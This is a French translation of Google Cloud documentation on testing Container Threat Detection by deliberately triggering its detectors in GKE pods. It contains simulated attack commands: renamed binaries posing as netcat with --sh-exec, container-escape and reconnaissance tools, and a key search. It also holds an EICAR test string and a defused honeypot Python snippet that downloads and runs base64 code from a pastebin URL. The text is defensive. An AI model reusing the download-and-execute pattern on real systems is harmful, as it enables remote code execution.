Tester Container Threat Detection

Cette page explique comment vérifier que Container Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Container Threat Detection est un service intégré aux niveaux Premium et Enterprise de Security Command Center. Pour afficher les résultats de Container Threat Detection, celui-ci doit être activé dans les paramètres Services de Security Command Center.

Avant de commencer

Pour détecter les menaces potentielles pour vos conteneurs, vous devez vous assurer que vos clusters se trouvent dans une version compatible de Google Kubernetes Engine (GKE). Pour en savoir plus, consultez la section Utiliser une version de GKE compatible.

Activer les détecteurs

Les détecteurs Added Binary Executed, Added Library Loaded, Execution: Program Run with Disallowed HTTP Proxy Env et Exfiltration: Launch Remote File Copy Tools in Container sont désactivés par défaut. Pour tester ces détecteurs, vous devez les activer explicitement:

  1. Vérifiez l'état du détecteur:

    export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
    --service=CONTAINER_THREAT_DETECTION \
    --project=${PROJECT}

  2. Activez le détecteur Added Binary Executed:

    gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}

  3. Activez le détecteur Added Library Loaded:

    gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_LIBRARY_LOADED \
    --project=${PROJECT}

  4. Activez le détecteur Execution: Program Run with Disallowed HTTP Proxy Env:

    gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
    --project=${PROJECT}

  5. Activez le détecteur Exfiltration: Launch Remote File Copy Tools in Container:

    gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
    --project=${PROJECT}

Définir des variables d'environnement

Pour tester les détecteurs, vous devez utiliser Google Cloud Console et Cloud Shell. Vous pouvez définir des variables d'environnement dans Cloud Shell pour faciliter l'exécution des commandes. Les variables suivantes sont utilisées pour tester tous les détecteurs Container Threat Detection.

  1. Accédez à Google Cloud Console.

    Accédez à Google Cloud Console.

  2. Sélectionnez le projet contenant le conteneur que vous souhaitez utiliser pour le test.

  3. Cliquez sur Activer Cloud Shell.

  4. Dans Cloud Shell, définissez des variables d'environnement.

    1. Zone dans laquelle se trouve votre cluster :

      export ZONE=CLUSTER_ZONE

    2. Le projet dans lequel se trouve votre conteneur :

      export PROJECT=PROJECT_ID

    3. Le nom de votre cluster :

      export CLUSTER_NAME=CLUSTER_NAME

Les variables sont définies. Les sections suivantes incluent des instructions concernant le test des détecteurs de Container Threat Detection.

Fichier binaire ajouté exécuté

Pour déclencher le résultat d'un fichier binaire ajouté exécuté, déposez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, puis l'exécute. L'exécution du fichier binaire est inattendue, car la copie de ce fichier ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 24.04 et que les conteneurs sont destinés à être immuables.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Déposez un fichier binaire et exécutez-le :

    • Nœud x86:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

    • Nœud ARM:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Cette procédure de test doit créer un fichier binaire supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats d'exécution de binaires ajoutés. Pour afficher tous les résultats d'exécution du binaire ajouté lors de la configuration d'un conteneur, ajoutez le préfixe ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Ajout de bibliothèque chargée

Pour déclencher le résultat d'une bibliothèque ajoutée chargée, déposez une bibliothèque dans votre conteneur et chargez-la. Cet exemple déploie la dernière image Ubuntu 24.04, copie /lib/x86_64-linux-gnu/libc.so.6 à un autre emplacement, puis la charge à l'aide de ld. La bibliothèque chargée est inattendue, car la copie de la bibliothèque ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 24.04 et que les conteneurs sont destinés à être immuables.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Déposez une bibliothèque et utilisez ld pour la charger :

    • Nœud x86:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

    • Nœud ARM:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

Cette procédure de test doit créer une bibliothèque chargée supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats de bibliothèque ajoutée chargée. Pour afficher tous les résultats "Bibliothèque ajoutée chargée" pendant la configuration d'un conteneur, ajoutez le préfixe ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Accès aux identifiants: rechercher des clés privées ou des mots de passe

Pour déclencher un résultat Credential Access: Search Private Keys or Passwords, un binaire capable de rechercher le contenu des fichiers doit être exécuté dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme en find (ou un autre utilitaire de recherche approprié, comme grep). Le binaire renommé est ensuite exécuté avec des arguments qui spécifient un modèle de recherche indiquant des clés privées ou des mots de passe, ou des modèles de contenu suggérant des mots de passe ou des secrets. Cette action est signalée comme suspecte, car elle imite le comportement observé lors de la tentative de localisation d'informations sensibles telles que des clés privées ou des mots de passe dans un environnement conteneurisé.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés:

    • Nœud x86:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

    • Nœud ARM:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Cette procédure de test doit créer un résultat Credential Access: Search Private Keys or Passwords que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats Credential Access: Search Private Keys or Passwords. Pour afficher tous les résultats Credential Access: Search Private Keys or Passwords lors de la configuration d'un conteneur, ajoutez ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Exécution: Fichier binaire malveillant ajouté exécuté

Pour déclencher un résultat d'exécution: fichier binaire malveillant ajouté exécuté, déposez un fichier binaire malveillant dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, crée un fichier malveillant simulé, puis l'exécute. L'exécution du fichier binaire est inattendue, car le fichier binaire malveillant simulé ne faisait pas partie de l'image de conteneur d'origine. De plus, il s'agit d'un fichier de test EICAR, classé comme malveillant par l'intelligence sur les menaces.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Déposez le binaire EICAR et exécutez-le:

    • Nœud x86:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

    • Nœud ARM:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Cette procédure de test doit créer un résultat "Exécution: fichier binaire malveillant ajouté exécuté" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats "Exécution: Fichier binaire malveillant ajouté exécuté". Pour afficher tous les résultats "Exécution: fichier binaire malveillant ajouté exécuté" pendant la configuration d'un conteneur, ajoutez ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Exécution: fuite du conteneur

Pour déclencher un résultat d'exécution: évasion de conteneur, placez un binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, le renomme en outil suspect (botb-linux-amd64) et l'exécute avec des arguments supplémentaires. Cette action est considérée comme suspecte, car cette exécution simule un comportement cohérent avec une tentative d'évasion de conteneur.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Déposez un fichier binaire d'outil d'exploitation de conteneur tel que botb-linux-amd64 et exécutez-le:

    • Nœud x86:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

    • Nœud ARM:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

Cette procédure de test doit créer un résultat "Exécution: évasion de conteneur" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats "Exécution: Évasion de conteneur". Pour afficher tous les résultats de la section "Exécution: Évasion de conteneur" lorsqu'un conteneur est configuré, ajoutez le préfixe ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Exécution: exécution de l'outil d'attaque Kubernetes

Pour déclencher un résultat "Exécution: exécution d'un outil d'attaque Kubernetes", placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, le renomme en outil suspect (amicontained) et l'exécute. Cette action est considérée comme suspecte, car elle simule un comportement cohérent avec une tentative d'exécution d'un outil d'attaque Kubernetes.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Déposez un fichier binaire d'outil d'attaque Kubernetes tel que amicontained et exécutez-le:

    • Nœud x86:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

    • Nœud ARM:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Cette procédure de test doit créer un résultat "Exécution: exécution d'un outil d'attaque Kubernetes" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats de l'exécution: exécution de l'outil d'attaque Kubernetes. Pour afficher tous les résultats d'exécution: exécution d'un outil d'attaque Kubernetes lors de la configuration d'un conteneur, ajoutez le préfixe ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Exécution: exécution de l'outil de reconnaissance local

Pour déclencher un résultat Execution: Local Reconnaissance Tool Execution, placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, le renomme en outil suspect (linenum.sh) et l'exécute. Cette action est considérée comme suspecte, car l'exécution du binaire renommé simule un comportement cohérent avec une tentative de reconnaissance locale.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Introduisez un binaire d'outil de reconnaissance locale tel que linenum.sh et exécutez-le:

    • Nœud x86:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

    • Nœud ARM:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Cette procédure de test doit créer un résultat "Exécution: exécution d'un outil de reconnaissance local" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats de l'exécution : Execution: Local Reconnaissance Tool Execution. Pour afficher tous les résultats de l'exécution de l'outil de reconnaissance local (Execution: Local Reconnaissance Tool Execution) lors de la configuration d'un conteneur, ajoutez ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Exécution: code Python malveillant exécuté

Pour déclencher un résultat d'exécution: Python malveillant exécuté, vous pouvez exécuter Python dans la procédure suivante dans votre conteneur.

La procédure déploie la dernière image Python, copie le code Python qui semble malveillant, puis l'exécute. Pour déclencher une détection, le code Python doit sembler malveillant pour le détecteur.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Exécutez le script suivant dans un nouveau conteneur.

    Ce code Python provient d'un piège à miel. Toutefois, il a été modifié pour qu'il n'exécute pas le binaire malveillant. L'exécution du script n'entraîne aucune activité malveillante dans votre conteneur. Le binaire de l'URL référencée n'existe pas, et toute tentative de suivi de l'URL génère une erreur 404. Ce comportement est normal. La tentative de téléchargement, de décodage et d'exécution d'un binaire à l'aide d'un script intégré déclenche la détection.

    • Nœud x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

    • Nœud ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Cette procédure de test crée un résultat "Exécution: Python malveillant exécuté" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution: fichier binaire malveillant modifié exécuté

Pour déclencher un résultat d'exécution: fichier binaire malveillant modifié exécuté, modifiez un fichier binaire malveillant dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, modifie /bin/ls en fichier malveillant de test EICAR, puis l'exécute. L'exécution du binaire est inattendue, car le /bin/ls créé est modifié lors de l'exécution du conteneur en tant que binaire malveillant de test EICAR, et le binaire EICAR est un fichier malveillant connu selon l'intelligence sur les menaces.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Déposez le binaire EICAR et exécutez-le:

    • Nœud x86:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

    • Nœud ARM:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Cette procédure de test doit créer un résultat "Exécution: fichier binaire malveillant modifié exécuté" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats "Exécution: fichier binaire malveillant modifié exécuté". Pour afficher tous les résultats "Exécution: fichier binaire malveillant modifié exécuté" lorsqu'un conteneur est configuré, ajoutez le préfixe ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Exécution: exécution de code à distance Netcat dans un conteneur

Pour déclencher un événement Execution: Netcat Remote Code Execution In Container, un binaire capable de communiquer sur le réseau (comme netcat lui-même ou une copie renommée d'un autre utilitaire) doit être présent et exécuté dans le conteneur. Cet exemple déploie la dernière image Ubuntu 24.04 comme base. Il copie le binaire /bin/ls et le renomme netcat (un utilitaire réseau). Ce binaire renommé est ensuite exécuté avec des arguments appropriés pour l'interaction réseau. Cette activité est signalée comme suspecte, car elle imite le comportement souvent observé lors de tentatives d'exécution de code à distance dans des environnements conteneurisés.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Introduisez un binaire d'outil de communication réseau tel que netcat et exécutez-le avec les arguments appropriés:

    • Nœud x86:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

    • Nœud ARM:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Cette procédure de test doit créer un résultat Execution: Netcat Remote Code Execution In Container que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats Execution: Netcat Remote Code Execution In Container. Pour afficher tous les résultats Execution: Netcat Remote Code Execution In Container lors de la configuration d'un conteneur, ajoutez ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Exécution: exécution du programme avec un environnement de proxy HTTP non autorisé

Pour déclencher un résultat Execution: Program Run with Disallowed HTTP Proxy Env, exécutez un programme dans un conteneur, en définissant une variable d'environnement de proxy HTTP sur une valeur non autorisée. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié et renommé /tmp/curl. Ce binaire renommé est ensuite exécuté avec une valeur non autorisée définie pour une variable d'environnement de proxy HTTP (par exemple, HTTP_PROXY, http_proxy). La combinaison de l'exécution du programme et de la présence d'un environnement de proxy HTTP non autorisé est signalée comme suspecte, car elle suggère une tentative de communication via un proxy non autorisé.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Exécutez un binaire compatible avec le réseau, comme curl, et exécutez-le avec une variable d'environnement de proxy HTTP non autorisée:

    • Nœud x86:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

    • Nœud ARM:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"

Cette procédure de test doit créer un résultat Execution: Program Run with Disallowed HTTP Proxy Env que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection peut filtrer temporairement les résultats Execution: Program Run with Disallowed HTTP Proxy Env. Pour afficher tous les résultats Execution: Program Run with Disallowed HTTP Proxy Env lors de la configuration d'un conteneur, ajoutez ktd-test au nom du conteneur ou du pod, comme dans l'exemple.

Exfiltration: lancement d'outils de copie de fichiers à distance dans un conteneur

Pour déclencher un résultat Exfiltration: Launch Remote File Copy Tools In Container, exécutez un outil de copie de fichiers à distance courant dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié et renommé /tmp/rsync, puis exécuté pour récupérer un fichier à partir d'une source distante potentiellement malveillante. L'exécution d'un tel outil avec des arguments de récupération de fichiers à distance dans un conteneur est signalée comme suspecte, car elle peut indiquer une tentative de téléchargement et d'exécution de code malveillant ou d'exfiltration de données.

  1. Définissez des variables d'environnement.

  2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

    gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

  3. Exécutez un outil de copie de fichiers à distance, tel que rsync:

    • Nœud x86:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/rsync; /tmp/rsync"

    • Nœud ARM:

      tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
